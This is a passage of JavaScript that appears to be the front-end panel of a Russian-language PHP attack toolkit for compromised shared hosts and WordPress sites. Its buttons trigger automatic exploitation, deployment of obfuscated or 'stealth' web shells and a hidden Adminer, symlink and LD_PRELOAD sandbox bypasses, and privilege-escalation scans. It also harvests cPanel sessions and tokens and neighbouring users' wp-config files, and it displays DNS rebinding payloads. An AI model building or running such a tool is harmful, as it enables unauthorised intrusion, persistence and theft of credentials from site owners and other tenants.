html += '<button class="btn" onclick="deployAdminer(\'' + path.replace(/'/g, "\\'") + '\')">📥 Deploy Adminer</button>';
html += '<button class="btn" onclick="deployShell(\'' + path.replace(/'/g, "\\'") + '\', \'advanced\')">🐚 Deploy Shell</button>';
html += '</div>';
openPentestModal('🔍 Database Explorer - ' + path, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
} catch (e) {
alert('Error: ' + e.message);
} finally {
this.disabled = false;
this.textContent = '🔍 DB Explorer';
}
});
}
// Vuln Scan
var btnVulnScan = document.getElementById('btnVulnScan');
if (btnVulnScan) {
btnVulnScan.addEventListener('click', async function() {
var path = prompt('Введите путь к WordPress корню:', '/home/user/public_html');
if (!path) return;
this.disabled = true;
this.textContent = 'Scanning...';
try {
var fd = new FormData();
fd.append('path', path);
fd.append('csrf', window.__CSRF__ || '');
var response = await fetch('?api=scan_vulns' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
var html = renderVulnReport(data.vulnerabilities);
// Кнопки действий
html += '<div style="margin-top:15px;display:flex;gap:10px">';
html += '<button class="btn" onclick="autoExploit(\'' + path.replace(/'/g, "\\'") + '\')">⚡ Auto Exploit</button>';
html += '<button class="btn" onclick="generateReport(\'' + path.replace(/'/g, "\\'") + '\')">📊 Full Report</button>';
html += '</div>';
openPentestModal('⚠️ Vulnerability Scan - ' + path, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
} catch (e) {
alert('Error: ' + e.message);
} finally {
this.disabled = false;
this.textContent = '⚠️ Vuln Scan';
}
});
}
// Auto Exploit
var btnAutoExploit = document.getElementById('btnAutoExploit');
if (btnAutoExploit) {
btnAutoExploit.addEventListener('click', async function() {
var path = prompt('Введите путь к WordPress корню для автоэксплуатации:', '/home/user/public_html');
if (!path) return;
if (!confirm('ВНИМАНИЕ! Это запустит автоматическую эксплуатацию уязвимостей на ' + path + '. Продолжить?')) return;
this.disabled = true;
this.textContent = 'Exploiting...';
try {
await autoExploit(path);
} finally {
this.disabled = false;
this.textContent = '⚡ Auto Exploit';
}
});
}
async function autoExploit(path) {
var fd = new FormData();
fd.append('path', path);
fd.append('csrf', window.__CSRF__ || '');
var response = await fetch('?api=auto_exploit' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
var html = '';
var exploitCount = Object.keys(data.exploits || {}).length;
if (exploitCount > 0) {
html += '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚡ ' + exploitCount + ' successful exploits found!</div>';
html += '<table><tr><th>Type</th><th>Method</th><th>URL/Path</th><th>Details</th></tr>';
Object.keys(data.exploits).forEach(function(key) {
var exp = data.exploits[key];
html += '<tr><td><strong>' + key + '</strong></td><td>' + (exp.method || '-') + '</td><td><code>' + (exp.url || exp.path || '-') + '</code></td><td>' + (exp.details || (exp.users ? exp.users.length + ' users found' : '-')) + '</td></tr>';
});
html += '</table>';
} else {
html += '<div class="tag-ok" style="padding:10px">✓ No exploitable vulnerabilities found</div>';
}
// Показать уязвимости
html += '<hr><h4>Vulnerabilities Scanned:</h4>';
html += renderVulnReport(data.vulnerabilities);
openPentestModal('⚡ Auto Exploit Results - ' + path, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
}
// Pentest Report
var btnPentestReport = document.getElementById('btnPentestReport');
if (btnPentestReport) {
btnPentestReport.addEventListener('click', async function() {
var path = prompt('Введите путь к WordPress корню для полного отчета:', '/home/user/public_html');
if (!path) return;
this.disabled = true;
this.textContent = 'Generating...';
try {
await generateReport(path);
} finally {
this.disabled = false;
this.textContent = '📊 Report';
}
});
}
async function generateReport(path) {
var fd = new FormData();
fd.append('path', path);
fd.append('csrf', window.__CSRF__ || '');
fd.append('save', '0');
var response = await fetch('?api=pentest_report' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
var html = renderPentestReport(data.report);
openPentestModal('📊 Pentest Report - ' + path, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
}
// Advanced Bypass
var btnAdvancedBypass = document.getElementById('btnAdvancedBypass');
if (btnAdvancedBypass) {
btnAdvancedBypass.addEventListener('click', async function() {
this.disabled = true;
this.textContent = 'Testing...';
try {
var response = await fetch('?api=advanced_bypass' + dbg);
var data = await response.json();
if (data.status === 'ok') {
var results = data.bypass_results;
var html = '';
// Write Access
if (results.write_access && results.write_access.length > 0) {
html += '<div class="card" style="margin-bottom:15px"><h4 class="tag-err">✓ Write Access Found (' + results.write_access.length + ')</h4>';
html += '<table><tr><th>Method</th><th>Path</th><th>Readable</th></tr>';
results.write_access.forEach(function(w) {
html += '<tr><td>' + w.method + '</td><td><code>' + w.path + '</code></td><td>' + (w.readable ? 'Yes' : 'No') + '</td></tr>';
});
html += '</table></div>';
}
// Symlink Attacks
if (results.symlink_attacks && results.symlink_attacks.length > 0) {
html += '<div class="card" style="margin-bottom:15px"><h4>🔗 Symlink Attacks (' + results.symlink_attacks.length + ')</h4>';
html += '<table><tr><th>Target</th><th>Readable</th><th>Preview</th></tr>';
results.symlink_attacks.forEach(function(s) {
html += '<tr><td>' + s.target + '</td><td>' + (s.readable ? '<span class="tag-ok">Yes</span>' : 'No') + '</td><td><code>' + (s.preview || '-').substring(0, 100) + '</code></td></tr>';
});
html += '</table></div>';
}
// Temp Attacks
if (results.temp_attacks && results.temp_attacks.length > 0) {
html += '<div class="card" style="margin-bottom:15px"><h4>📁 Temp Directories</h4>';
html += '<table><tr><th>Path</th><th>Readable</th><th>Writable</th><th>PHP Writable</th></tr>';
results.temp_attacks.forEach(function(t) {
html += '<tr><td>' + t.path + '</td><td>' + (t.readable ? '✓' : '-') + '</td><td>' + (t.writable ? '✓' : '-') + '</td><td>' + (t.php_writable ? '<span class="tag-err">✓ YES</span>' : '-') + '</td></tr>';
});
html += '</table></div>';
}
// Read Access
if (results.read_access && results.read_access.length > 0) {
html += '<div class="card" style="margin-bottom:15px"><h4>📖 Read Access (' + results.read_access.length + ')</h4>';
html += '<pre style="background:#0b0f13;padding:10px;max-height:200px;overflow:auto">' + formatJsonHtml(results.read_access) + '</pre></div>';
}
// Wrappers
if (results.wrapper_attacks && results.wrapper_attacks.length > 0) {
html += '<div class="card"><h4>🔧 Available Wrappers</h4>';
html += '<div class="flex">';
results.wrapper_attacks.forEach(function(w) {
html += '<span class="badge">' + w.wrapper + '://</span>';
});
html += '</div></div>';
}
if (!html) {
html = '<div class="tag-ok" style="padding:20px">No bypass opportunities found</div>';
}
openPentestModal('🌀 Advanced Bypass Results', html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
} catch (e) {
alert('Error: ' + e.message);
} finally {
this.disabled = false;
this.textContent = '🌀 Bypass+';
}
});
}
// Deploy Adminer
async function deployAdminer(path) {
var name = prompt('Имя файла для Adminer:', 'dbadmin_' + Math.random().toString(36).substr(2, 6) + '.php');
if (!name) return;
var fd = new FormData();
fd.append('path', path);
fd.append('name', name);
fd.append('csrf', window.__CSRF__ || '');
var response = await fetch('?api=deploy_adminer' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok' && data.result) {
var r = data.result;
if (r.success) {
alert('✓ Adminer deployed!\n\nPath: ' + r.path + '\nURL: ' + r.url + '\nAccess key in file');
} else {
alert('Error: ' + (r.message || 'Failed to deploy'));
}
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
}
// Deploy Shell
async function deployShell(path, type) {
type = type || 'advanced';
var types = ['basic', 'advanced', 'obfuscated', 'minimal', 'stealth'];
var typeChoice = prompt('Тип шелла (' + types.join(', ') + '):', type);
if (!typeChoice || types.indexOf(typeChoice) === -1) {
alert('Invalid shell type');
return;
}
if (!confirm('ВНИМАНИЕ! Вы собираетесь задеплоить веб-шелл на ' + path + '. Это опасная операция. Продолжить?')) return;
var fd = new FormData();
fd.append('path', path);
fd.append('type', typeChoice);
fd.append('csrf', window.__CSRF__ || '');
var response = await fetch('?api=deploy_shell' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok' && data.result) {
var r = data.result;
if (r.success) {
alert('✓ Shell deployed!\n\nPath: ' + r.path + '\nURL: ' + r.url + '\nUsage: ' + (r.usage || ''));
} else {
alert('Error: ' + (r.error || 'Failed to deploy'));
}
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
}
/* ==================== ПРОДВИНУТЫЕ АТАКИ (ЭТАП 2) ==================== */
// Рендер результатов продвинутых атак
function renderAdvancedAttacks(data) {
var h = [];
// Summary
if (data.summary) {
var riskColor = data.summary.risk_level === 'critical' ? '#f66' :
(data.summary.risk_level === 'high' ? '#fa0' :
(data.summary.risk_level === 'medium' ? '#ff0' : '#0f0'));
h.push('<div class="flex" style="margin-bottom:15px">');
h.push('<span class="badge" style="font-size:14px;padding:8px 12px;background:' + riskColor + '20;border-color:' + riskColor + '">Findings: ' + data.summary.total_findings + ' (' + data.summary.risk_level.toUpperCase() + ')</span>');
h.push('<span class="badge">Time: ' + (data.timestamp || new Date().toISOString()) + '</span>');
h.push('</div>');
}
// LD_PRELOAD
if (data.ldpreload) {
var ldp = data.ldpreload;
h.push('<details class="coll" ' + (ldp.ldpreload_possible ? 'open' : '') + '><summary>🔧 LD_PRELOAD Bypass' + (ldp.ldpreload_possible ? ' <span class="tag-err">POSSIBLE</span>' : '') + '</summary><div>');
h.push('<div class="kv">');
h.push('<div>mail() available</div><div>' + (ldp.mail_available ? '<span class="tag-ok">Yes</span>' : 'No') + '</div>');
h.push('<div>putenv() available</div><div>' + (ldp.putenv_available ? '<span class="tag-ok">Yes</span>' : 'No') + '</div>');
h.push('<div>LD_PRELOAD bypass</div><div>' + (ldp.ldpreload_possible ? '<span class="tag-err">POSSIBLE</span>' : 'No') + '</div>');
h.push('<div>sendmail_path</div><div><code>' + (ldp.sendmail_path || '-') + '</code></div>');
h.push('</div>');
if (ldp.alternative_methods && Object.keys(ldp.alternative_methods).length > 0) {
h.push('<h5>Alternative Methods:</h5><ul>');
Object.keys(ldp.alternative_methods).forEach(function(m) {
h.push('<li><strong>' + m + '</strong>: ' + (ldp.alternative_methods[m].available ? '<span class="tag-err">Available</span>' : 'Not available') + '</li>');
});
h.push('</ul>');
}
if (ldp.disabled_functions && ldp.disabled_functions.length > 0) {
h.push('<div class="small muted">Disabled functions: ' + ldp.disabled_functions.slice(0, 20).join(', ') + (ldp.disabled_functions.length > 20 ? '...' : '') + '</div>');
}
h.push('</div></details>');
}
// Shared Memory
if (data.shared_memory) {
var shm = data.shared_memory;
var shmFound = (shm.segments_found && shm.segments_found.length > 0) || (shm.dev_shm_files && shm.dev_shm_files.length > 0);
h.push('<details class="coll" ' + (shmFound ? 'open' : '') + '><summary>🧠 Shared Memory' + (shmFound ? ' <span class="tag-warn">FINDINGS</span>' : '') + '</summary><div>');
if (shm.functions_available && shm.functions_available.length > 0) {
h.push('<div class="small">Available functions: <code>' + shm.functions_available.join(', ') + '</code></div>');
}
if (shm.segments_found && shm.segments_found.length > 0) {
h.push('<h5>Found Segments:</h5><table><tr><th>Key</th><th>Size</th><th>Method</th><th>Preview</th></tr>');
shm.segments_found.forEach(function(seg) {
h.push('<tr><td>' + seg.key + '</td><td>' + (seg.size || '-') + '</td><td>' + seg.method + '</td><td><code>' + (seg.data_preview || seg.hex_preview || '-').substring(0, 50) + '</code></td></tr>');
});
h.push('</table>');
}
if (shm.dev_shm_files && shm.dev_shm_files.length > 0) {
h.push('<h5>/dev/shm Files:</h5><table><tr><th>Name</th><th>Size</th><th>Readable</th><th>Writable</th></tr>');
shm.dev_shm_files.forEach(function(f) {
h.push('<tr><td>' + f.name + '</td><td>' + (f.size || '-') + '</td><td>' + (f.readable ? '✓' : '-') + '</td><td>' + (f.writable ? '<span class="tag-err">✓</span>' : '-') + '</td></tr>');
});
h.push('</table>');
}
h.push('</div></details>');
}
// Session Upload Progress
if (data.session_upload) {
var sup = data.session_upload;
h.push('<details class="coll" ' + (sup.vulnerable ? 'open' : '') + '><summary>📤 Session Upload Progress' + (sup.vulnerable ? ' <span class="tag-err">VULNERABLE</span>' : '') + '</summary><div>');
if (sup.config) {
h.push('<div class="kv small">');
Object.keys(sup.config).forEach(function(k) {
h.push('<div>' + k + '</div><div><code>' + (sup.config[k] || '-') + '</code></div>');
});
h.push('</div>');
}
if (sup.attack_vector) {
h.push('<h5>Attack Vector:</h5>');
h.push('<div class="small"><strong>Session ID:</strong> <code>' + sup.attack_vector.session_id + '</code></div>');
h.push('<div class="small"><strong>Progress Name:</strong> <code>' + sup.attack_vector.progress_name + '</code></div>');
h.push('<div class="small"><strong>Race Condition:</strong> ' + (sup.attack_vector.race_condition_needed ? '<span class="tag-warn">Needed</span>' : 'Not needed') + '</div>');
}
if (sup.session_file) {
h.push('<h5>Session File:</h5>');
h.push('<div class="small"><strong>Path:</strong> <code>' + sup.session_file.path + '</code></div>');
h.push('<div class="small"><strong>Writable:</strong> ' + (sup.session_file.writable ? '<span class="tag-err">Yes</span>' : 'No') + '</div>');
}
if (sup.exploit_instructions) {
h.push('<h5>Exploit Instructions:</h5><ol class="small">');
sup.exploit_instructions.forEach(function(instr) {
h.push('<li>' + instr + '</li>');
});
h.push('</ol>');
}
h.push('</div></details>');
}
// OPcache
if (data.opcache) {
var opc = data.opcache;
var opcEnabled = opc.config && opc.config['opcache.enable'];
h.push('<details class="coll"><summary>⚡ OPcache' + (opcEnabled ? ' <span class="tag-ok">Enabled</span>' : '') + '</summary><div>');
if (opc.config) {
h.push('<div class="kv small">');
Object.keys(opc.config).slice(0, 10).forEach(function(k) {
h.push('<div>' + k + '</div><div><code>' + (opc.config[k] || '-') + '</code></div>');
});
h.push('</div>');
}
if (opc.status) {
h.push('<h5>Status:</h5><pre class="small" style="background:#0b0f13;padding:8px;border-radius:4px">' + JSON.stringify(opc.status, null, 2) + '</pre>');
}
if (opc.cached_files && opc.cached_files.count) {
h.push('<div class="small">Cached files: ' + opc.cached_files.count + '</div>');
}
if (opc.exploits) {
h.push('<h5>Exploit Vectors:</h5><ul class="small">');
Object.keys(opc.exploits).forEach(function(k) {
var v = opc.exploits[k];
h.push('<li><strong>' + k + ':</strong> ' + (typeof v === 'boolean' ? (v ? 'Yes' : 'No') : JSON.stringify(v)) + '</li>');
});
h.push('</ul>');
}
h.push('</div></details>');
}
// Kernel
if (data.kernel) {
var krn = data.kernel;
h.push('<details class="coll"><summary>🐧 Kernel & Namespaces</summary><div>');
if (krn.kernel_info) {
h.push('<div class="kv small">');
h.push('<div>Kernel</div><div><code>' + krn.kernel_info.release + '</code></div>');
h.push('<div>Version</div><div><code>' + (krn.kernel_info.version || '-').substring(0, 60) + '</code></div>');
h.push('</div>');
}
if (krn.user_namespace) {
h.push('<h5>User Namespace:</h5><div class="kv small">');
Object.keys(krn.user_namespace).forEach(function(k) {
h.push('<div>' + k + '</div><div>' + krn.user_namespace[k] + '</div>');
});
h.push('</div>');
}
if (krn.capabilities) {
h.push('<h5>Capabilities:</h5><div class="kv small">');
Object.keys(krn.capabilities).forEach(function(k) {
h.push('<div>' + k + '</div><div><code>' + krn.capabilities[k] + '</code></div>');
});
h.push('</div>');
}
if (krn.ebpf && Object.keys(krn.ebpf).length > 0) {
h.push('<h5>eBPF:</h5><pre class="small" style="background:#0b0f13;padding:8px;border-radius:4px;max-height:150px;overflow:auto">' + JSON.stringify(krn.ebpf, null, 2) + '</pre>');
}
if (krn.kernel_vulns_to_check) {
h.push('<h5>Kernel Vulns to Check:</h5><ul class="small">');
Object.keys(krn.kernel_vulns_to_check).forEach(function(cve) {
h.push('<li><strong>' + cve + ':</strong> ' + krn.kernel_vulns_to_check[cve] + '</li>');
});
h.push('</ul>');
}
h.push('</div></details>');
}
// Daemons
if (data.daemons) {
var dmn = data.daemons;
var daemonFindings = (dmn.open_ports && dmn.open_ports.length > 0) || (dmn.socket_files && dmn.socket_files.length > 0);
h.push('<details class="coll" ' + (daemonFindings ? 'open' : '') + '><summary>🔌 Daemons & Services' + (daemonFindings ? ' <span class="tag-warn">FINDINGS</span>' : '') + '</summary><div>');
if (dmn.open_ports && dmn.open_ports.length > 0) {
h.push('<h5>Open Ports (' + dmn.open_ports.length + '):</h5>');
h.push('<table><tr><th>Port</th><th>Service</th><th>Detected</th></tr>');
dmn.open_ports.forEach(function(p) {
h.push('<tr><td>' + p.port + '</td><td>' + p.expected_service + '</td><td>' + p.detected_service + '</td></tr>');
});
h.push('</table>');
}
if (dmn.socket_files && dmn.socket_files.length > 0) {
h.push('<h5>Unix Sockets (' + dmn.socket_files.length + '):</h5>');
h.push('<table><tr><th>Path</th><th>Service</th><th>Writable</th></tr>');
dmn.socket_files.forEach(function(s) {
h.push('<tr><td><code>' + s.path + '</code></td><td>' + s.service + '</td><td>' + (s.writable ? '<span class="tag-err">Yes</span>' : 'No') + '</td></tr>');
});
h.push('</table>');
}
if (dmn.config_files && dmn.config_files.length > 0) {
h.push('<h5>Config Files (' + dmn.config_files.length + '):</h5>');
h.push('<table><tr><th>Path</th><th>Service</th><th>Readable</th><th>Writable</th></tr>');
dmn.config_files.forEach(function(c) {
h.push('<tr><td><code>' + c.path + '</code></td><td>' + c.service + '</td><td>' + (c.readable ? '✓' : '-') + '</td><td>' + (c.writable ? '<span class="tag-err">✓</span>' : '-') + '</td></tr>');
});
h.push('</table>');
}
h.push('</div></details>');
}
// DNS Rebinding
if (data.dns_rebinding) {
var dns = data.dns_rebinding;
h.push('<details class="coll"><summary>🌐 DNS Rebinding</summary><div>');
if (dns.internal_ips && dns.internal_ips.length > 0) {
h.push('<div class="small">Internal IPs: <code>' + dns.internal_ips.join(', ') + '</code></div>');
}
if (dns.local_services && dns.local_services.length > 0) {
h.push('<h5>Local Services (' + dns.local_services.length + '):</h5>');
h.push('<table><tr><th>Host</th><th>Port</th><th>Service</th></tr>');
dns.local_services.forEach(function(s) {
h.push('<tr><td>' + s.host + '</td><td>' + s.port + '</td><td>' + s.service + '</td></tr>');
});
h.push('</table>');
}
if (dns.dns_rebinding_payloads && dns.dns_rebinding_payloads.length > 0) {
h.push('<h5>Payloads:</h5>');
dns.dns_rebinding_payloads.slice(0, 3).forEach(function(p) {
h.push('<details class="coll"><summary>' + p.target + ' (' + p.service + ')</summary>');
h.push('<pre class="small" style="background:#0b0f13;padding:8px;white-space:pre-wrap">' + (p.fetch_payload || '').replace(/</g, '<') + '</pre>');
h.push('</details>');
});
}
h.push('</div></details>');
}
return h.join('');
}
// Advanced Attacks Button
var btnAdvancedAttacks = document.getElementById('btnAdvancedAttacks');
if (btnAdvancedAttacks) {
btnAdvancedAttacks.addEventListener('click', async function() {
// Показываем меню выбора типа атаки
var attackTypes = [
{ value: 'all', label: '🔥 Все атаки (полный скан)' },
{ value: 'privesc', label: '⬆️ Privilege Escalation (SUID, sudo, cron)' },
{ value: 'cpanel', label: '🔐 cPanel Access (sessions, tokens, API)' },
{ value: 'ldpreload', label: '🔧 LD_PRELOAD Bypass' },
{ value: 'shared_memory', label: '🧠 Shared Memory Attacks' },
{ value: 'session_upload', label: '📤 Session Upload Progress' },
{ value: 'opcache', label: '⚡ OPcache Attacks' },
{ value: 'kernel', label: '🐧 Kernel & Namespaces' },
{ value: 'daemons', label: '🔌 Find Daemons' },
{ value: 'dns_rebinding', label: '🌐 DNS Rebinding' }
];
var menuHtml = '<h4>🚀 Выберите тип атаки:</h4>';
menuHtml += '<div style="display:grid;gap:8px;margin:15px 0">';
attackTypes.forEach(function(t) {
menuHtml += '<button class="btn" onclick="runAdvancedAttack(\'' + t.value + '\')" style="text-align:left;padding:12px">' + t.label + '</button>';
});
menuHtml += '</div>';
menuHtml += '<div style="margin-top:15px;padding-top:15px;border-top:1px solid var(--line)">';
menuHtml += '<h5>Дополнительные проверки:</h5>';
menuHtml += '<div style="display:flex;gap:8px;flex-wrap:wrap">';
menuHtml += '<button class="btn" onclick="runCorsCheck()">CORS Check</button>';
menuHtml += '<button class="btn" onclick="runSsiCheck()">SSI Injection</button>';
menuHtml += '</div></div>';
openPentestModal('🚀 Advanced Attacks', menuHtml);
});
}
// Запуск продвинутой атаки
async function runAdvancedAttack(type) {
closePentestModal();
// Для privesc используем отдельный API
if (type === 'privesc') {
return runPrivescScan();
}
// Для cpanel используем отдельный API
if (type === 'cpanel') {
return runCpanelScan();
}
var path = '';
if (type === 'all') {
path = prompt('Введите путь к WordPress (опционально, для проверки БД):', '');
}
var url = '?api=advanced_attacks&type=' + type;
if (path) url += '&path=' + encodeURIComponent(path);
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Выполнение ' + type + '...</h3><div class="small muted">Это может занять некоторое время</div></div>';
openPentestModal('🚀 Advanced Attacks - ' + type, loadingHtml);
var response = await fetch(url + dbg);
var data = await response.json();
if (data.status === 'ok') {
var html = renderAdvancedAttacks(data.advanced_attacks);
openPentestModal('🚀 Advanced Attacks - ' + type, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// Privilege Escalation Scan
async function runPrivescScan() {
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование Privilege Escalation...</h3><div class="small muted">Поиск SUID, sudo, capabilities, writable paths...</div></div>';
openPentestModal('⬆️ Privilege Escalation', loadingHtml);
var response = await fetch('?api=privesc' + dbg);
var data = await response.json();
if (data.status === 'ok') {
var html = renderPrivescResults(data.privesc);
openPentestModal('⬆️ Privilege Escalation Results', html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// Рендер результатов PrivEsc
function renderPrivescResults(data) {
var h = [];
// Summary
h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
if (data.summary) {
var riskColor = data.summary.risk_level === 'critical' ? '#f00' : (data.summary.risk_level === 'high' ? '#fa0' : '#0f0');
h.push('<span class="badge" style="background:' + riskColor + '">Risk: ' + data.summary.risk_level.toUpperCase() + '</span>');
h.push('<span class="badge">🔓 Exploitable: ' + data.summary.total_exploitable + '</span>');
h.push('<span class="badge">🔧 SUID bins: ' + data.summary.suid_count + '</span>');
h.push('<span class="badge">👥 Neighbor access: ' + data.summary.neighbor_access_count + '</span>');
}
h.push('</div>');
// Current user
if (data.current_user) {
h.push('<details class="coll" open><summary>👤 Current User</summary><div class="kv">');
h.push('<div>Username</div><div><code>' + (data.current_user.username || '-') + '</code></div>');
h.push('<div>UID/GID</div><div><code>' + (data.current_user.uid || '?') + ':' + (data.current_user.gid || '?') + '</code></div>');
h.push('<div>Home</div><div><code>' + (data.current_user.home || '-') + '</code></div>');
h.push('</div></details>');
}
// Exploitable findings
if (data.exploitable && data.exploitable.length > 0) {
h.push('<details class="coll" open><summary style="color:#f00">🔓 EXPLOITABLE (' + data.exploitable.length + ')</summary><div>');
h.push('<table><tr><th>Type</th><th>Details</th><th>Method</th></tr>');
data.exploitable.forEach(function(e) {
h.push('<tr style="background:#300">');
h.push('<td><span class="badge" style="background:#f00">' + e.type + '</span></td>');
h.push('<td><code>' + (e.path || e.detail || e.commands || e.user || '-') + '</code></td>');
h.push('<td class="small">' + (e.method || '-') + '</td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
// SUID binaries
if (data.suid_binaries && data.suid_binaries.length > 0) {
h.push('<details class="coll"><summary>🔧 SUID Binaries (' + data.suid_binaries.length + ')</summary><div>');
h.push('<table><tr><th>Path</th><th>Exploitable</th><th>Method</th></tr>');
data.suid_binaries.forEach(function(s) {
var rowStyle = s.exploitable ? 'background:#300' : '';
h.push('<tr style="' + rowStyle + '">');
h.push('<td><code class="small">' + s.path + '</code></td>');
h.push('<td>' + (s.exploitable ? '<span style="color:#f00">⚠️ YES</span>' : '-') + '</td>');
h.push('<td class="small">' + (s.exploit_method || '-') + '</td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
// Sudo access
if (data.sudo_access && data.sudo_access.output) {
h.push('<details class="coll"><summary>🔑 Sudo Access</summary><div>');
h.push('<pre style="max-height:200px;overflow:auto">' + data.sudo_access.output + '</pre>');
if (data.sudo_access.nopasswd) {
h.push('<p style="color:#f00"><strong>NOPASSWD found:</strong> ' + data.sudo_access.nopasswd + '</p>');
}
h.push('</div></details>');
}
// Neighbor access
if (data.neighbor_access && data.neighbor_access.length > 0) {
var readableNeighbors = data.neighbor_access.filter(function(n) { return n.public_html_readable; });
h.push('<details class="coll"><summary>👥 Neighbor Access (' + readableNeighbors.length + ' readable)</summary><div>');
h.push('<table><tr><th>User</th><th>Home</th><th>public_html</th><th>wp-config</th></tr>');
data.neighbor_access.slice(0, 50).forEach(function(n) {
h.push('<tr>');
h.push('<td><code>' + n.user + '</code></td>');
h.push('<td>' + (n.home_readable ? '✅' : '❌') + '</td>');
h.push('<td>' + (n.public_html_readable ? '✅' : '❌') + '</td>');
h.push('<td>' + (n.wp_config_readable ? '<span style="color:#f00">⚠️ READABLE</span>' : '❌') + '</td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
// Writable paths
if (data.writable_paths && data.writable_paths.length > 0) {
h.push('<details class="coll"><summary style="color:#f00">📝 Writable Sensitive Paths</summary><div>');
data.writable_paths.forEach(function(p) {
h.push('<div style="color:#f00"><code>' + p + '</code></div>');
});
h.push('</div></details>');
}
// Cron access
if (data.cron_access && data.cron_access.length > 0) {
var writableCrons = data.cron_access.filter(function(c) { return c.writable; });
if (writableCrons.length > 0) {
h.push('<details class="coll"><summary style="color:#fa0">⏰ Cron Access (writable: ' + writableCrons.length + ')</summary><div>');
h.push('<table><tr><th>Path</th><th>Exists</th><th>Readable</th><th>Writable</th></tr>');
data.cron_access.forEach(function(c) {
h.push('<tr>');
h.push('<td><code>' + c.path + '</code></td>');
h.push('<td>' + (c.exists ? '✅' : '❌') + '</td>');
h.push('<td>' + (c.readable ? '✅' : '❌') + '</td>');
h.push('<td>' + (c.writable ? '<span style="color:#f00">✅</span>' : '❌') + '</td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
}
return h.join('');
}
// cPanel Access Scan
async function runCpanelScan() {
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование cPanel...</h3><div class="small muted">Поиск сессий, токенов, API доступа...</div></div>';
openPentestModal('🔐 cPanel Access Scan', loadingHtml);
var response = await fetch('?api=cpanel' + dbg);
var data = await response.json();
if (data.status === 'ok') {
var html = renderCpanelResults(data.cpanel);
openPentestModal('🔐 cPanel Access Results', html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// Рендер результатов cPanel
function renderCpanelResults(data) {
var h = [];
// Summary
h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
if (data.summary) {
h.push('<span class="badge">' + (data.summary.cpanel_detected ? '✅ cPanel Detected' : '❌ No cPanel') + '</span>');
var riskColor = data.summary.risk_level === 'critical' ? '#f00' : (data.summary.risk_level === 'high' ? '#fa0' : '#0f0');
h.push('<span class="badge" style="background:' + riskColor + '">Risk: ' + data.summary.risk_level.toUpperCase() + '</span>');
h.push('<span class="badge">🔓 Exploitable: ' + data.summary.total_exploitable + '</span>');
h.push('<span class="badge">🔑 Sessions: ' + data.summary.sessions_found + '</span>');
h.push('<span class="badge">🎫 Tokens: ' + data.summary.tokens_found + '</span>');
}
h.push('</div>');
// Exploitable findings
if (data.exploitable && data.exploitable.length > 0) {
h.push('<details class="coll" open><summary style="color:#f00">🔓 EXPLOITABLE (' + data.exploitable.length + ')</summary><div>');
h.push('<table><tr><th>Type</th><th>Details</th><th>Source</th></tr>');
data.exploitable.forEach(function(e) {
h.push('<tr style="background:#300">');
h.push('<td><span class="badge" style="background:#f00">' + e.type + '</span></td>');
h.push('<td>');
if (e.token) h.push('<code>' + e.token + '</code>');
else if (e.token_preview) h.push('<code>' + e.token_preview + '</code>');
else if (e.hash_preview) h.push('<code>' + e.hash_preview + '</code>');
else if (e.user) h.push('User: <code>' + e.user + '</code>');
else if (e.output_preview) h.push('<pre class="small">' + e.output_preview.substring(0, 200) + '</pre>');
else h.push('-');
h.push('</td>');
h.push('<td class="small"><code>' + (e.source || e.path || e.indicator || '-') + '</code></td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
// Sessions
if (data.sessions && data.sessions.length > 0) {
h.push('<details class="coll"><summary>🔑 Sessions Found (' + data.sessions.length + ')</summary><div>');
h.push('<table><tr><th>Path</th><th>Size</th><th>Has Token</th><th>Preview</th></tr>');
data.sessions.slice(0, 20).forEach(function(s) {
h.push('<tr>');
h.push('<td><code class="small">' + s.path + '</code></td>');
h.push('<td>' + (s.size || '-') + '</td>');
h.push('<td>' + (s.has_token ? '<span style="color:#f00">⚠️ YES</span>' : '-') + '</td>');
h.push('<td class="small">' + (s.preview || '-').substring(0, 100) + '</td>');
h.push('</tr>');
});
h.push('</table></div></details>');
}
// Tokens
if ((data.tokens && data.tokens.length > 0) || (data.api_tokens && data.api_tokens.length > 0)) {
var totalTokens = (data.tokens ? data.tokens.length : 0) + (data.api_tokens ? data.api_tokens.length : 0);
h.push('<details class="coll"><summary style="color:#fa0">🎫 Tokens Found (' + totalTokens + ')</summary><div>');
if (data.tokens && data.tokens.length > 0) {
h.push('<h5>Access Tokens:</h5>');
data.tokens.forEach(function(t) {
h.push('<div><code>' + t.path + '</code>');
if (t.content) {
h.push('<pre style="max-height:100px;overflow:auto">' + t.content.substring(0, 500) + '</pre>');
}
h.push('</div>');
});
}
if (data.api_tokens && data.api_tokens.length > 0) {
h.push('<h5>API Tokens:</h5>');
data.api_tokens.forEach(function(t) {
h.push('<div><code>' + t.path + '</code>');
if (t.content) {
